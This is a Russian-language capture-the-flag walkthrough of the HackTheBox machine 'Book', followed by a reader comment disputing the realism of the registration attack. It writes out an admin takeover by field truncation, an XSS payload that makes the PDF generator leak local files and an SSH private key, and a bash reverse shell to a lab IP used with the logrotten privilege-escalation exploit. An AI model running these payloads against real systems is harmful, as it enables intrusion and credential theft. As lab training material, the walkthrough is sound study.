![](https://habrastorage.org/webt/ja/yu/tt/jayuttors_k5yp_hnuky76sv18k.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем XSS to LFI через документ PDF, повышаем привилегии с помощью logrotten, а также посмотрим, почему уязвима регистрация с усечением полей.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.176, который я добавляю в /etc/hosts.
10.10.10.176 book.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.176 --rate=500
![](https://habrastorage.org/webt/3p/m3/8s/3pm38sg-o8xyljuynlmppqkvkh4.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A book.htb -p22,80
![](https://habrastorage.org/webt/zt/bz/rt/ztbzrtafhlcbqujfshkmitbjysi.png)
На хосте работают служба SSH и веб сервер. Начнем с веба. Нас встречает страница авторизации и регистрации.
![](https://habrastorage.org/webt/lz/qz/tb/lzqztbr6ctof2phjw35tpvtdrhs.png)
Зарегистрируемся и войдем.
![](https://habrastorage.org/webt/va/et/la/vaetlaqyjbmfi-kecjfu9luvtl4.png)
Сайт представляет собой библиотеку с возможностью добавления книги и контакта с администратором.
![](https://habrastorage.org/webt/le/er/9f/leer9fzp6woucf3asl_cf3udfcy.png)
В данных полях никакого вектора не наметилось, но зато мы знаем почту администратора. Давайте переберем директории с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://book.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
![](https://habrastorage.org/webt/a8/io/0m/a8io0m7sy00i9i7rzuftlynd2cc.png)
Таким образом, находим много интересных страниц, в том числе и панель администратора. Далее было принято решение покрутить форму авторизации, и сразу же в исходном коде находим что-то интересное.
![](https://habrastorage.org/webt/up/bp/mm/upbpmmi3lrtuhaqrrf-x9sxedbw.png)
То есть имя пользователя не может быть длинной больше 10 символов, а адрес электронной почты — не больше 20. Но проверка происходит только в случае пустых полей, не проверяя длину.
Entry Point
Так скорее всего данные переменные будут урезаны до указанной длины на стороне сервера. Давайте проверим это. Зарегистрируем пользователя, у которого адрес электронной почты будет больше 20 символов.
![](https://habrastorage.org/webt/ah/hd/7r/ahhd7rzhpeyzn6hzthpxjwj72si.png)
А потом авторизуемся, с учетом урезанного адреса.
![](https://habrastorage.org/webt/el/ok/_w/elok_wepb_muz34pyhyr2yd2yra.png)
![](https://habrastorage.org/webt/yn/93/xs/yn93xs4rdlvwyro3psjpkts9knw.png)
Как можно наблюдать, предположение верно. Давайте зарегистрируемся как “admin@book.htb 123”, а потом войдем как обычный админ.
![](https://habrastorage.org/webt/m6/4d/oq/m64doq4nhh4-xfozimvwzkk7xi4.png)
![](https://habrastorage.org/webt/wn/jy/tx/wnjytxoh2zik5fwpq6mcfcgf3ck.png)
![](https://habrastorage.org/webt/jg/kr/jl/jgkrjlquo7galnmohy8rjsx1meu.png)
Данная атака возможна из-за того, что при проверки во время регистрации значение “admin@book.htb 123” отсутствует в базе, после чегго оно усекается и переписывает уже существующее. Осмотримся на сайте и не найдем ничего интересного, кроме коллекции.
![](https://habrastorage.org/webt/ps/jc/mc/psjcmcrlvdmdyi2cwf6c2cfmx9u.png)
Скачав и открыв PDF документы, обнаружим там список зарегистрированных пользователей и коллекции.
USER
Мой опыт подсказывал мне, что когда мы имеем дело с загрузкой информации на сервер и ее отражении в PDF, следует проверить XXS to LFI. Сделать это можно загрузив следующий код.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
Зайдем от имени обычного пользователя и добавим в коллекцию файл, указав во всех полях данную нагрузку.
![](https://habrastorage.org/webt/3v/i6/ag/3vi6agjxrdjqjyyrrzjpgt0qfmc.png)
Теперь скачиваем скачиваем файл с коллекцией у администратора, и обнаружим там содержимое файла /etc/passwd.
![](https://habrastorage.org/webt/rs/3c/5x/rs3c5xtinmojizar2mkjtepmw2a.png)
Давайте прочитаем закрытый SSH ключ пользователя reader, указав в нашей нагрузке файл «file:///home/reader/.ssh/id_rsa».
![](https://habrastorage.org/webt/qj/dv/8v/qjdv8vkcnjftrscxrtsidzxq2lw.png)
Но при копировании ключа, он копируется не весь. Откроем данный pdf в браузере, скопируем текст и вставим в обычный текстовый файл, выделив первую и последнюю строку.
![](https://habrastorage.org/webt/kp/ny/z7/kpnyz7vfecfen3c5xynrxipurly.png)
Назначим права на данный файл.
chmod 0600 reader.key
И подключаемся по SSH.
![](https://habrastorage.org/webt/oi/jw/js/oijwjsrsn1aon2obe-poc9d8nmo.png)
ROOT
В домашней директории пользователя есть папка backups.
![](https://habrastorage.org/webt/s0/-n/es/s0-nesvcllxlfwu0kwyn0lndjjk.png)
![](https://habrastorage.org/webt/d_/hu/s_/d_hus_ti7buhgxoyawi7dab3p80.png)
Мне это ничего не дало. Запусти скрипты базового перечисления системы, тоже ничего интересного не находим. В таком случае смотрим исполняемые задачи с помощью pspy64. И вот тут находим logrotate, запускающийся от имени рута.
![](https://habrastorage.org/webt/bg/g5/qg/bgg5qglytduj27zdnl53ey-lmgq.png)
Утилита Logrotate предназначена для автоматизации обработки журналов. Она может выполнять с ними необходимые действия в зависимости от определенных условий и правил соответствия. Например, можно сжимать журналы в архив или отправлять на другой сервер когда они достигают определенного размера, возраста, или других параметров. И поиск в гугле сразу что-то дает.
![](https://habrastorage.org/webt/9g/bi/00/9gbi00mjbkapasnqpxapcxkmbku.png)
![](https://habrastorage.org/webt/ir/i-/th/iri-thg72kjjptx46xehz73t8fu.png)
Скачиваем репозиторий и компилируем программу.
gcc -o logrotten logrotten.c
Теперь сделаем файл с реверс шеллом.
echo "bash -i >& /dev/tcp/10.10.15.60/4321 0>&1" > payloadfile
Запустим logrotten, и в другом окне терминала выполним запись в наш файл логов.
./logrotten -p ./payloadfile /home/reader/backups/access.log
![](https://habrastorage.org/webt/th/as/1g/thas1gtllvvtvc3p0dqi2msd4oc.png)
Можем наблюдать, что программа удачно сработала.
![](https://habrastorage.org/webt/tn/oh/pt/tnohptmqxpuvujrusyf6psjunte.png)
Через несколько секунд видим подключение, которое держит несколько секунд. Этого хватит чтобы посмотреть закрытый ключ ssh.
![](https://habrastorage.org/webt/ik/na/og/iknaogqgzuth7xcrubwmffteq-s.png)
Подключимся с этим ключом и заберем флаг.
![](https://habrastorage.org/webt/z6/hf/hw/z6hfhwg1ktrc7wccwcatdislmda.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
InteractiveTechnology
Как понимаю, регистрация высосано из пальца. Если логин является email, то это поле будет иметь уникальный индекс и перезапись его возможна только через запрос явной замены (replace, upsert и аналоги в nosql) с индексным ключём. Никогда не видел, чтобы хоть где-то была регистрация не через вставку уникальной записи, а через замену. Это бредовый вектор, вероятность такого поведения в реальном приложении равна нулю.
И к тому же, всё напрямую зависит от БД и экранизации входной строки, пробелы в email сами по себе тоже никуда не удаляются, если там на входных параметрах регулярка обрезает всё до валидного email это ещё возможно, но обычно регулярка проверяет, а не изменяет строку.